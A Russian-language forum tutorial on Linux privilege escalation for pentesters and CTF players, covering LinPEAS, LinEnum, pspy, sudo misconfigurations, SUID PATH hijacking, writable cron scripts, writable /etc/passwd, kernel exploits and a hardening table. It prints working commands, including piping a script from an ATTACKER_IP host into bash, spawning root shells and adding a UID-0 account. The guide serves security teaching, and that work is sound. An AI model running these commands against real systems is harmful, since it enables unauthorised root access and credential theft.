Статья Повышение привилегий Linux: от первичной разведки до root через LinPEAS, LinEnum и ручные техники

Повышение привилегий Linux: LinPEAS, SUID-эксплуатация и sudo misconfiguration в пентесте


Ты получил shell на машине. Курсор мигает от имени www-data или какого-нибудь low-priv-user. До root - один шаг, но этот шаг может занять пять минут или пять часов. Зависит от того, умеешь ли ты читать систему. Я разберу повышение привилегий Linux так, как делаю это на реальных пентестах и CTF: от первой команды после foothold до полного root-доступа, с конкретными командами, разбором вывода и объяснением, почему каждая мисконфигурация опасна.

Что такое privilege escalation Linux и зачем это пентестеру​

Эскалация привилегий Linux - получение более высоких прав в системе, чем те, что есть у текущего пользователя. В терминах MITRE ATT&CK это целая тактика Privilege Escalation с десятками техник: от ) до и Sudo and Sudo Caching (T1548.003).

На практике повышение привилегий - обязательный этап любого пентеста. Получив initial access, атакующий видит систему глазами непривилегированного пользователя. Чтобы стянуть хеши из /etc/shadow, закрепиться бэкдором или пойти дальше по сети - нужен root. Без privilege escalation пентест заканчивается на полпути, а отчёт будет жиденьким.

Повышение привилегий бывает двух видов:
  • Вертикальное - от обычного пользователя к root (или другому привилегированному аккаунту)
  • Горизонтальное - переход на другого пользователя с тем же уровнем прав, но с доступом к другим данным
Здесь фокус на вертикальном - от low-priv до root-доступа.

Ручная разведка: первые команды после foothold​

Прежде чем запускать автоматику, я всегда делаю базовую разведку руками. Две минуты работы, зато потом вывод LinPEAS читается осмысленно, а не как простыня текста. Команды ниже покрывают несколько техник Discovery по MITRE ATT&CK: whoami/id - System Owner/User Discovery (T1033), hostname/uname -a/cat /etc/os-release - System Information Discovery (T1082).

Кто я и где я​

Bash:
whoami          # текущий пользователь
id              # UID, GID и группы - обрати внимание на docker, lxd, disk
hostname        # имя хоста - часто подсказывает роль сервера
uname -a        # ядро и архитектура - критично для kernel exploits
cat /etc/os-release  # дистрибутив и версия
Вывод id может сразу дать вектор. Если пользователь в группе docker, lxd или disk - считай, полдела сделано. Это почти гарантированный путь к root без единого эксплойта.

Проверка sudo​

Bash:
sudo -l         # какие команды можно выполнять через sudo
sudo -V         # версия sudo - старые версии бывают дырявыми
sudo -l - первое, что я набираю на любой машине. Если в выводе NOPASSWD и любой бинарь из GTFOBins - можно идти пить кофе, root уже твой.

Поиск SUID-бинарей​

Bash:
find / -perm -4000 -type f -ls 2>/dev/null
Эта команда ищет все файлы с установленным SUID-битом. Каждый такой файл выполняется с правами владельца, а не текущего пользователя. Если владелец root, а бинарь позволяет выполнить произвольную команду - это прямой путь к эскалации привилегий (T1548.001, Privilege Escalation / Defense Evasion).

Cron-задачи и таймеры​

Bash:
cat /etc/crontab                        # системные cron-задачи
ls -la /etc/cron.d/                     # дополнительные cron-конфиги
ls -la /etc/cron.daily/ /etc/cron.hourly/  # периодические задачи
systemctl list-timers --all 2>/dev/null  # systemd-таймеры

Сеть и сервисы​

Bash:
ip a                    # сетевые интерфейсы - ищи dual-homed
ss -tlnp                # слушающие порты - внутренние сервисы
cat /etc/hosts          # записи hosts - могут указать на другие машины

История и пароли​

Bash:
history                           # команды предыдущих сессий
cat ~/.bash_history 2>/dev/null   # история bash
find / -name "*.conf" -o -name "*.cfg" -o -name "*.ini" 2>/dev/null | head -20
grep -ri "password" /etc/ 2>/dev/null | head -20
File and Directory Discovery (T1083), доступ к /etc/passwd и /etc/shadow (T1003.008, Credential Access) и поиск паролей в конфигурационных файлах (T1552.001, Credential Access) - классика post-exploitation. Удивительно, как часто пароли валяются в конфигах в открытом виде.

LinPEAS: автоматизация разведки для повышения привилегий​

LinPEAS (Linux Privilege Escalation Awesome Script) автоматизирует всё, что я описал выше, и добавляет сотни проверок сверху. Я запускаю его на каждой машине после ручной разведки, потому что глаз пропускает вещи: capabilities на бинарях, writable PATH-директории, утечки токенов в переменных окружения. LinPEAS это находит.

Как запустить LinPEAS​

Ты уже на целевой машине. Способ доставки зависит от ситуации:

Вариант 1 - через HTTP-сервер атакующего:
Bash:
# На атакующей машине (Kali/Parrot):
python3 -m http.server 8080

# На целевой машине:
curl http://ATTACKER_IP:8080/linpeas.sh | bash
Вариант 2 - загрузка и запуск локально:
Bash:
# На целевой машине:
wget http://ATTACKER_IP:8080/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh
Вариант 3 - без сохранения скрипта на диск (частичная скрытность):
Bash:
curl http://ATTACKER_IP:8080/linpeas.sh | bash | tee /tmp/linpeas_output.txt
Третий вариант удобен тем, что скрипт не сохраняется как файл, но вывод ловишь для анализа. Только не обольщайся - это не полноценный stealth: процесс виден в /proc, а auditd всё зафиксирует.

Как читать вывод LinPEAS​

LinPEAS использует цветовую маркировку. Вот что реально важно:

ЦветЗначениеДействие
Красный/ЖёлтыйС вероятностью 95% это вектор повышения привилегийЭксплуатируй - почти наверняка рабочий вектор
КрасныйНужно изучить - может потребовать дополнительных условийКопни глубже перед эксплуатацией
ЗелёныйИнтересная информация для дальнейшего анализаЗапомни на потом
СинийОбычная системная информацияИспользуй для контекста

Лично я сначала пролистываю весь вывод, выцепляя красно-жёлтые строки. Чаще всего они указывают на:
  • SUID-бинари, которые есть в GTFOBins
  • Cron-задачи, запускающие скрипты с записью для всех
  • Sudo-правила с NOPASSWD для опасных команд
  • Writable файлы в PATH
  • Capabilities вроде cap_setuid на бинарях
  • Пароли в конфигурационных файлах

LinEnum: альтернатива для повышения привилегий Linux​

LinEnum - ещё один скрипт для перечисления системной информации. Он менее детализирован, чем LinPEAS, зато работает быстрее и даёт чистый, легко читаемый вывод. Я беру LinEnum, когда нужна скорость или когда LinPEAS по какой-то причине не запускается (бывает на урезанных контейнерах).

Запуск LinEnum​

Bash:
# Доставка аналогична LinPEAS:
wget http://ATTACKER_IP:8080/LinEnum.sh -O /tmp/LinEnum.sh
chmod +x /tmp/LinEnum.sh
/tmp/LinEnum.sh -t  # флаг -t включает расширенные проверки
LinEnum собирает информацию о пользователях, файловых правах, процессах, пакетах, сетевых конфигурациях, cron-задачах, журналах, версиях ПО. Вывод структурирован по разделам - удобно для быстрого прогона.

Сравнение инструментов автоматизации​

ИнструментНазначениеЦветовая маркировкаСкоростьГлубина
LinPEASПолная разведка привилегийДаСредняяМаксимальная
LinEnumПеречисление системной информацииНетВысокаяСредняя
pspyМониторинг процессов без rootНетРеальное времяУзкая (процессы)
Linux Exploit SuggesterПоиск kernel exploitsНетВысокаяУзкая (ядро)
Linux Smart EnumerationПеречисление с уровнями детализацииЧастичноСредняяНастраиваемая

pspy заслуживает отдельного слова. Это штука для мониторинга процессов в реальном времени без root-прав. Незаменима, когда cron-задача выполняется по расписанию, но не видна в /etc/crontab (пользовательские crontab'ы других аккаунтов). Запускаешь pspy, ждёшь пару минут - и видишь, какие процессы стартуют от root.
Bash:
# Запуск pspy:
./pspy64  # для 64-bit систем
# или
./pspy32  # для 32-bit

Техники повышения привилегий Linux: пошаговые примеры

Теория - хорошо, но без практики это просто буквы. Для каждой техники - сценарий, команды и объяснение, почему это работает.

Sudo misconfiguration: злоупотребление правами sudo​

Техника Sudo and Sudo Caching (T1548.003, Privilege Escalation / Defense Evasion) - самый частый вектор на CTF и один из самых распространённых в реальных средах.

Шаг 1 - проверяем sudo-права:
Bash:
sudo -l
Пример вывода:
Код:
User www-data may run the following commands on target:
    (root) NOPASSWD: /usr/bin/find
Шаг 2 - проверяем GTFOBins:

Идём на и ищем find. В разделе "Sudo":
Bash:
sudo find . -exec /bin/bash \; -quit
Шаг 3 - получаем root:
Bash:
sudo find . -exec /bin/bash \; -quit
whoami
# root
Почему это работает? Админ хотел дать пользователю возможность искать файлы, но find с флагом -exec выполняет любую команду. NOPASSWD - даже пароль не спросит. Одна строка в sudoers - и система скомпрометирована.

Другие опасные бинари в sudo: vim, nano, less, awk, perl, python, ruby, env, man. Каждый позволяет получить shell. Видишь любой из них в выводе sudo -l - сразу проверяй GTFOBins.

SUID бит Linux: эксплуатация через бинари с setuid​

SUID-бит (Set User ID upon execution) - специальное разрешение, при котором файл выполняется с правами владельца. Техника Setuid and Setgid (T1548.001, Privilege Escalation / Defense Evasion).

Шаг 1 - находим SUID-бинари:
Bash:
find / -perm -4000 -type f -ls 2>/dev/null
Пример вывода (обрезанный):
Код:
  131085   40 -rwsr-xr-x   1 root  root   40152 Jan 27  2020 /usr/bin/mount
  131090   44 -rwsr-xr-x   1 root  root   44784 Jan 27  2020 /usr/bin/newgrp
  131143   64 -rwsr-xr-x   1 root  root   63960 Feb  7  2020 /usr/bin/passwd
  262285   20 -rwsr-xr-x   1 root  root   16712 Sep  1  2020 /opt/custom-backup
Стандартные SUID-бинари (mount, passwd, ping) - норма, они тут живут. Нас интересуют нестандартные: /opt/custom-backup - вот это уже подозрительно.

Шаг 2 - анализируем нестандартный бинарь:
Bash:
file /opt/custom-backup
strings /opt/custom-backup | head -30
ltrace /opt/custom-backup 2>&1 | head -20  # если ltrace доступен
Если strings показывает вызов внешней команды без полного пути (просто cp вместо /usr/bin/cp) - это потенциальный вектор для PATH manipulation. Работает, когда SUID-бинарь вызывает команду через system()/popen() (они используют shell и переменную PATH). Если бинарь использует execve() с абсолютным путём - этот фокус не пройдёт. Проверить можно через ltrace или strace (если доступен).

Шаг 3 - эксплуатация через PATH:
Bash:
# Создаём вредоносный "cp" в /tmp:
echo '#!/bin/bash' > /tmp/cp
echo '/bin/bash -p' >> /tmp/cp
chmod +x /tmp/cp

# Подменяем PATH:
export PATH=/tmp:$PATH

# Запускаем SUID-бинарь:
/opt/custom-backup
whoami
# root
Флаг -p у bash - критически важен. Без него bash сбросит привилегии. С -p он сохраняет effective UID, установленный через SUID. Для тех кто в танке - без этого флага bash решит, что ты «не настоящий root», и откатит права обратно.
Примечание: На современных дистрибутивах (Debian 12+, Ubuntu 22.04+) glibc secure execution mode (__libc_enable_secure) может сбрасывать переменные окружения (включая PATH) для SUID-процессов, а system() может использовать /bin/shdash, который ведёт себя иначе. Проверяй, какой shell использует system() и не сбрасывается ли PATH в конкретной среде.

Cron jobs privilege escalation: эксплуатация планировщика задач​

Cron-задачи - любимый вектор пентестеров. Админы создают скрипты бэкапа от root, а права на сами скрипты выставляют как попало. Классика жанра.

Шаг 1 - находим cron-задачи:
Bash:
cat /etc/crontab
ls -la /etc/cron.d/
Пример вывода /etc/crontab:
Код:
* * * * * root /opt/scripts/backup.sh
Шаг 2 - проверяем права на скрипт:
Bash:
ls -la /opt/scripts/backup.sh
# -rwxrwxrwx 1 root root 45 Jun 10 12:00 /opt/scripts/backup.sh
Права 777 - writable для всех. Скрипт выполняется каждую минуту от root. Тут даже думать не надо.

Шаг 3 - внедряем payload:
Bash:
echo '#!/bin/bash' > /opt/scripts/backup.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /opt/scripts/backup.sh
Шаг 4 - ждём минуту и получаем root:
Bash:
# Через минуту:
ls -la /tmp/rootbash
# -rwsr-sr-x 1 root root ... /tmp/rootbash
/tmp/rootbash -p
whoami
# root
Если cron-задача не видна в /etc/crontab, запускаем pspy и наблюдаем процессы в реальном времени. Пользовательские crontab'ы скрыты от других аккаунтов, но pspy покажет их выполнение - он мониторит /proc напрямую.

Kernel exploit: эксплуатация уязвимостей ядра​

Техника Exploitation for Privilege Escalation (T1068, Privilege Escalation) - последнее средство, когда остальные векторы не сработали. Kernel exploits нестабильны и могут уронить систему, поэтому в реальном пентесте их используют с осторожностью (и с письменным согласием заказчика).

Классический пример - . По данным NVD: race condition в mm/gup.c в ядрах Linux 2.x–4.x до 4.8.3 позволяет локальным пользователям повысить привилегии через некорректную обработку copy-on-write (COW) при записи в read-only memory mapping. CVSS: 7.0 (HIGH), вектор CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H. CWE: CWE-362 (Race Condition).

Разбор CVSS-вектора (чтобы не казался магическими буквами):
  • AV:L - атака локальная, нужен доступ к системе
  • AC:H - высокая сложность (race condition - надо поймать момент)
  • PR:L - достаточно низких привилегий
  • UI:N - действия пользователя не требуются
Порядок действий при поиске kernel-эксплойтов:
Bash:
# 1. Узнаём версию ядра:
uname -r
# Пример: 3.13.0-24-generic

# 2. Запускаем Linux Exploit Suggester:
./linux-exploit-suggester.sh

# 3. Или ищем вручную:
searchsploit linux kernel 3.13 privilege escalation
Linux Exploit Suggester оценивает вероятность успеха: Highly Probable, Probable, Less Probable. Фокусируйся на первой категории - остальные чаще расстраивают, чем радуют.

Writable /etc/passwd: добавление root-пользователя​

Если файл /etc/passwd доступен для записи (встречается на CTF-машинах и иногда в реальных средах с кривыми руками), можно тупо добавить нового пользователя с UID 0.
Bash:
# Проверяем права:
ls -la /etc/passwd
# -rw-rw-rw- 1 root root ... /etc/passwd

# Генерируем хеш пароля (SHA-512, OpenSSL 1.1.1+; если -6 недоступен, используй -1 для MD5):
openssl passwd -6 -salt xyz password123
# $6$xyz$rD...hash...

# Добавляем пользователя с UID 0:
echo 'hacker:$6$xyz$rD...hash...:0:0:root:/root:/bin/bash' >> /etc/passwd

# Переключаемся:
su hacker
# Вводим password123
whoami
# root
Это прямой пример техники Create Account: Local Account (T1136.001, Persistence) - добавление нового пользователя с UID 0 в файл учётных данных.

Пошаговый чейн: от shell до root​

Собираю всё в единый алгоритм - так я работаю на реальной машине:

Делай раз - базовая разведка руками:
Bash:
whoami && id
uname -a
sudo -l
cat /etc/crontab
find / -perm -4000 -type f -ls 2>/dev/null
Если sudo -l даёт вектор - эксплуатируй сразу через GTFOBins. Нестандартный SUID-бинарь - анализируй. Writable cron-задача - модифицируй. На этом этапе 60% CTF-машин уже решены.

Делай два - запускай LinPEAS:
Bash:
curl http://ATTACKER_IP:8080/linpeas.sh | bash | tee /tmp/lp.txt
Ищи красно-жёлтые маркеры. Проверяй всё, что LinPEAS отметил как высоковероятный вектор. Обращай внимание на capabilities (getcap -r / 2>/dev/null), writable директории в PATH и конфиги с паролями.

Делай три - мониторинг и глубокий анализ:
Bash:
# Если ничего не нашлось - запускай pspy:
./pspy64

# Параллельно ищи пароли:
grep -ri "pass\|pwd\|credential" /var/www/ /opt/ /home/ 2>/dev/null
find / -name "*.bak" -o -name "*.old" -o -name "*.conf" 2>/dev/null | xargs grep -li "password" 2>/dev/null
Только если все предыдущие шаги не дали результат - переходи к kernel exploits. Проверяй версию ядра через Linux Exploit Suggester и ищи подходящий эксплойт. Это крайний вариант, а не первый.

Как автоматика конкурирует с ручным анализом​

Согласно исследованию Happe и Cito (2023), «LLMs as Hackers: Autonomous Linux Privilege Escalation Attacks» (arxiv.org), GPT-4-Turbo успешно эксплуатировал от 33% до 83% уязвимостей в benchmark privilege escalation - сравнимо с результатами профессиональных пентестеров (75%). При этом даже продвинутые модели спотыкались на multi-step эксплуатации: например, не могли связать найденный SUID-бинарь с необходимостью проверить его в GTFOBins.

Что это значит на практике? LinPEAS и LinEnum не заменяют думающего пентестера. Скрипт покажет данные, но связать находки в рабочий чейн - твоя работа. LinPEAS может пометить /usr/bin/python3 с capability cap_setuid красным цветом, но конвертировать эту находку в root shell должен ты:
Bash:
# Пример: Python с cap_setuid
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Защита и Linux hardening: что закрывать​

Понимание атак даёт понимание защиты. Конкретные рекомендации:

Вектор атакиМера защиты
Sudo misconfigurationНикогда не давать sudo на shell-интерпретаторы, редакторы, find, awk. Строго определённые команды с полным путём
SUID на нестандартных бинаряхРегулярно аудитировать: find / -perm -4000 -type f -ls. Снимать SUID-бит с ненужных файлов: chmod u-s /path/to/binary
Writable cron-скриптыВладелец root, права 700 или 755. Никогда не 777
Устаревшее ядроОбновлять ядро. Использовать livepatch для критичных систем, где перезагрузка невозможна
Пароли в конфигахVault-системы (HashiCorp Vault, ansible-vault). Права на конфиги: 600, владелец - сервисный аккаунт
Writable /etc/passwdПрава: /etc/passwd - 644, /etc/shadow - 640. Мониторить изменения через auditd

Итоги​

Повышение привилегий Linux - не магия и не набор готовых рецептов. Это системный процесс: разведка, анализ, эксплуатация. LinPEAS и LinEnum автоматизируют разведку, GTFOBins дают справочник по эксплуатации, pspy помогает увидеть скрытые процессы. А связать всё это в рабочий чейн - задача пентестера, не скрипта.

Начни с лабораторий. На TryHackMe есть комнаты «Linux PrivEsc» и «Linux PrivEsc Arena», на HackerLab - десятки машин с различными векторами. Запускай LinPEAS на каждой, учись читать вывод, проверяй находки вручную. Через двадцать машин ты будешь видеть вектор быстрее, чем скрипт закончит работу. Проверено.
 
Да LinPeas это чуть ли не основная утилита, для быстрого поиска повышения привелегий в linux системах. pspy тоже крутая утилита, для поиска процессов запускающихся и запущенных в реальном времени. Остальные утилиты уже давненько так на гитхабе не обновляются...
 
  • Полезно
Реакции: Сергей Попов
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab